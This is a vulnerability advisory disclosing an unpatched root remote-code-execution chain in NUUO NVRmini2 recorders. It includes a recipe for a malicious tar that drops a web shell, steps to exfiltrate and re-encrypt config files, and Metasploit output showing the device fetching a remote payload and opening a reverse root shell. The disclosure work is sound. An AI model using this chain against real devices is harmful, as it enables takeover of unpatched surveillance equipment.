pedrib / PoC Public

Code Issues Pull requests Actions Projects Wiki Security ···

master ···

PoC / advisories / NUUO / nuuo_nvrmini_round2.mkd

Pedro Ribeiro multiple minor updates to disclaimer, dates, etc in advisories History

1 contributor

214 lines (163 sloc) | 13.3 KB ···

Unauthenticated Remote Code Execution as root in NUUO NVRmini2 (2022 Edition)

By Pedro Ribeiro (pedrib@gmail.com | @pedrib1337) from Agile Information Security

Disclosure: 2022-01-12 / Last Updated: 2022-01-17

- Summary
- Vulnerability Details
  - #1: Missing Authentication on `handle_import_user.php`
  - #2: BusyBox `tar` Directory Traversal
- Exploit Chain
  - Metasploit Module
  - Notes on Older Versions
- Fixes / Mitigations

Summary

NUUO's NVRmini2 is a Network Video Recorder (NVR) produced by NUUO Inc. As with most NVR, it has terrible security and has been hacked multiple times, the very first one by me back in 2016 with command injections and a stack overflow.

Six years later, it's time to pwn it again, by abusing an insecure user update mechanism and a very old path traversal vulnerability to execute code as root! This vulnerability has been reported to NUUO *multiple times* and despite their attempted fixes, it's still an `0day` at the time of writing, so have fun!

A Metasploit module that abuses this chain of vulnerabilities has been released, and it is available here and here.

Disclosure Process

This chain of vulnerabilities was first discovered during my original 2016 audit, but I actually forgot about them (honestly, I did forget... rare but happens). I re-discovered them by reading my notes in mid 2019 and they were disclosed to NUUO.

A new firmware version was released in March 2020 (version `03.11.0000.0005`) and the bugs were not fixed, so they were reported AGAIN in April 2020. Since then, firmware version 03.11.0000.0016 was released and the bugs are STILL not fixed.

I guess it's time to disclose them, even if there's no patch?

All binaries and binary offsets mentioned in this advisory are from version `03.11.0000.0005`.

Vulnerability Details

#1: Missing Authentication on `handle_import_user.php`

- CWE-306: Missing Authentication for Critical Function
- CVE-2022-23227
- Risk Classification: Critical
- Attack Vector: Remote
- Constraints: None
- Affected versions: every publicly released firmware version up to and including version 03.11.0000.0016

The file `/NUUO/web/handle_import_user.php` is accessible at `http://TARGET/handle_import_user.php` by an unauthenticated user. Its contents are as follows:

```
<?php
include('utils.php');

$file_name = "user".rand().".cfg";
$file_path = "/tmp/";

if(move_uploaded_file($_FILES['upload_file']['tmp_name'], $file_path.$file_name)) {
    echo 'user import over';
    system(constant("NUUO_BASE_FOLDER")."/bin/cgi_system importuser 'bfolder=".$file
} else{
    echo "There was an error uploading the file, please try again!";
}

unlink($file_path.$file_name);
?>
```

As it can be seen in the snippet above, it simply copies a file uploaded via an HTTP form POST to `/tmp/userRAND.cfg`, where `RAND` is a random number, and then calls `/bin/cgi_system importuser bfolder=/tmp/ bfile=userRAND.cfg`.

`cgi_system` is a complex binary, and to keep this advisory short and sweet I decided not to show any of the disassembled or decompiled code. If you would like to have a look at it, in the latest firmware version 03.11.0000.0016 the function that performs the user import is located at offset `0x2B990` (md5sum `56e2df9ad0ea0d5b74772bc45b1c81d7`).

This function does the following:

- Reads the file
- Attempts to decrypt it
- Untars it
- Reads the untarred files (`shadow` and `passwd`)
- Attempts to add any users in the previously mentioned files to `/etc/passwd` and `/etc/shadow`.

Only users with `UID` 1000 or above are processed, any other users are ignored.

The encryption appears to be custom, and I avoid reversing custom encryption mechanisms unless it's absolutely necessary (it's fun, but requires lots of time). Like all true hackers, we want to achieve success through the easiest route - the path of least resistance (however, if you want to reverse the encryption, I'd be very curious to know their algorithm).

So let's use some trickery instead to get what we want!

1. Downgrade the firmware to version 3.0.0
2. Create a new "power user" named `pwner` with the password `pwned` in the web interface
3. Use my Metasploit module from 2016 to get a root shell
4. Change `pwner` 's `passwd` shell to `/bin/bash`
5. Run `/NUUO/bin/cgi_system exportuser 'bfile=stuff' > /tmp/ble.cfg` in the root shell
6. Exfiltrate the `/tmp/ble.cfg` file (using `nc` for example) and remove the HTTP junk at the start
7. You can now upload this file to ANY other NVRmini2 (with any firmware version) with `http://TARGET/handle_import_user.php`
8. ... and login to TARGET as `pwner:pwned` over SSH to get a shell!

OK this is nice... but we still need to get root. Time to look for a privilege escalation?

#2: BusyBox `tar` Directory Traversal

- CWE-35: Path Traversal
- CVE-2011-5325
- Risk Classification: High
- Attack Vector: Local
- Constraints: N/A
- Affected versions: every publicly released firmware version up to and including version 03.11.0000.0016

The NVRmini2 uses a very old `busybox` version, something that is common amongst IoT devices. The latest firmware version 03.11.0000.0016 uses `BusyBox v1.16.1 (2013-11-12 15:35:46 CST) multi-call binary` .

This version is affected by many vulnerabilities, one of them being CVE-2011-5325, a directory traversal when unpacking `tar` archives. For more details please check this commit message. The following section also explains how to create a malicious tar.

How can we combine these two vulnerabilities?

Exploit Chain

By now an astute reader will remember that the user import function located at offset `0x2B990` in the `cgi_system` binary has to perform a series of steps, including untar'ing the file provided in the HTTP POST, after it is decrypted.

Let's abuse this mechanism. First we create our malicious `tar` file with our webshell `shelly.php`:

```
echo haha > owned
tar cfv sploit.tar owned
ln -s /NUUO/web/ nuuo
tar --append -f sploit.tar nuuo
rm nuuo
mkdir nuuo
cp shelly.php nuuo/
tar --append -f sploit.tar nuuo/shelly.php
gzip sploit.tar
```

> Snippet #1: Creating a malicious tar file

However, if you recall from previous sections, we have to encrypt this file (it is first decrypted before it is untar'ed), and I was too lazy to reverse the encryption. The last step (`gzip`) is necessary because the handler expects a zipped file.

This is easily solvable by following the previously described steps to obtain a root shell on the target. We then start `gdbserver` (which is helpfully included in the target) with:

`gdbserver :3333 /NUUO/bin/cgi_system exportuser 'bfile=stuff'`

We connect our remote debugger and set a breakpoint at offset `0x2AF5C`:

```
fd_w = fopen(cfg_file, "r");
```

This is the point in the `exportuser` handler that opens a file for encryption. We run the program and then when it breaks we go to the `/tmp/tmpXXXX` directory (XXXX is the program's `PID`). In this directory there will be a `_stuff.tgz` file and we will overwrite it with the contents of the file created in Snippet #1 above.

We then set a breakpoint at offset `0x2ADBC`:

```
remove(encrypted_file);
```

At this point, we copy `/tmp/stuff.cfg` to `/tmp/whatever` and we can then continue the program and exit the debugger.

The `/tmp/whatever` file will now be encrypted with a malicious `tar` inside that can be used to pwn any firmware version, and we exfiltrate it back to our computer.

We upload this file to `http://TARGET/handle_import_user.php` in an HTTP POST form, the file is decrypted, and then when it is untar'ed we abuse CVE-2011-5325 to perform path traversal and drop a web shell on `/NUUO/web/shelly.php`, which will execute as root!

Metasploit Module

I am releasing a new Metasploit module that packages the whole exploit chain described in this advisory. The exploit works in virtually all firmware versions ever released (see sub section below for caveat)!

A typical run of the exploit looks like this:

```
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce_r2) > exploit
[*] Started reverse TCP handler on 192.168.241.1:4444
[*] 192.168.241.61:80 - Uploading initial payload...
[+] 192.168.241.61:80 - We now have root access via /shelly.php, using it to
deploy payload...
[*] 192.168.241.61:80 - Starting up our web service on
http://192.168.241.1:4445/hWICscieDptfuL ...
[*] Using URL: http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Asking the device to download and execute
http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Sending the payload to the device...
[*] Sending stage (903360 bytes) to 192.168.241.61
[+] Deleted /NUUO/web/shelly.php
[*] Meterpreter session 5 opened (192.168.241.1:4444 -> 192.168.241.61:40979 ) at
2022-01-07 23:14:29 +0000
[+] 192.168.241.61:80 - Shell incoming!
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 14664 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
uname -a
Linux NVR 2.6.31.8 #1 Thu Oct 11 09:18:12 CST 2018 armv5tel GNU/Linux
cat /etc/titan.conf
[Version]
```

```
Kernel=2.6.31.8.0006
MIN_Kernel=2.6.31.8.0000
OS=03.11.0000.0016
MIN_OS=01.06.0000.0113
NVR=03.11.0000.0016
MIN_NVR=01.06.0000.0113
(...)
NVRReleaseDate=20211110
(...)
```

Notes on Older Versions

The technique used to drop a web shell does not work on firmware versions older than 2.0.0. For these very old versions, an alternative technique can be used, which is also provided in the new Metasploit module released with this advisory.

This technique consists of replacing the `shadow` file with one that contains a user that can login via SSH to the target. Why doesn't the web shell technique work on versions older than 2.0.0? That's a good question.

I had this in my notes from 2019, but I didn't provide any details to myself and I don't want to spend any more time researching this old bug. If you're interested, try to understand why and drop me a note, I'd be very curious to know!

In any case, for older firmware versions I recommend you use my Metasploit module from 2016, which works flawlessly on VERY OLD firmware versions all the way up to 3.0.0.

Fixes / Mitigations

Unfortunately the vendor did not respond to any of the disclosure attempts, and failed to resolve this vulnerability multiple times, so there is no fix. DO NOT expose any NVRmini2 devices to untrusted networks.

Disclaimer

Please note that Agile Information Security Limited (Agile InfoSec) relies on information provided by the vendor / product manufacturer when listing fixed versions, products or releases. Agile InfoSec does not verify this information, except when specifically mentioned in the advisory text and requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective, incomplete or easy to bypass and it is the vendor's responsibility to ensure all the vulnerabilities found by Agile InfoSec are resolved properly. Agile InfoSec usually provides the information in its advisories free of charge to the vendor, as well as a minimum of six months for the vendor to resolve the vulnerabilities identified in its advisories before they are made public. Agile InfoSec does not accept any responsibility, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in its advisories. It is the vendor's responsibility to ensure their products' security before, during and after release to market.

License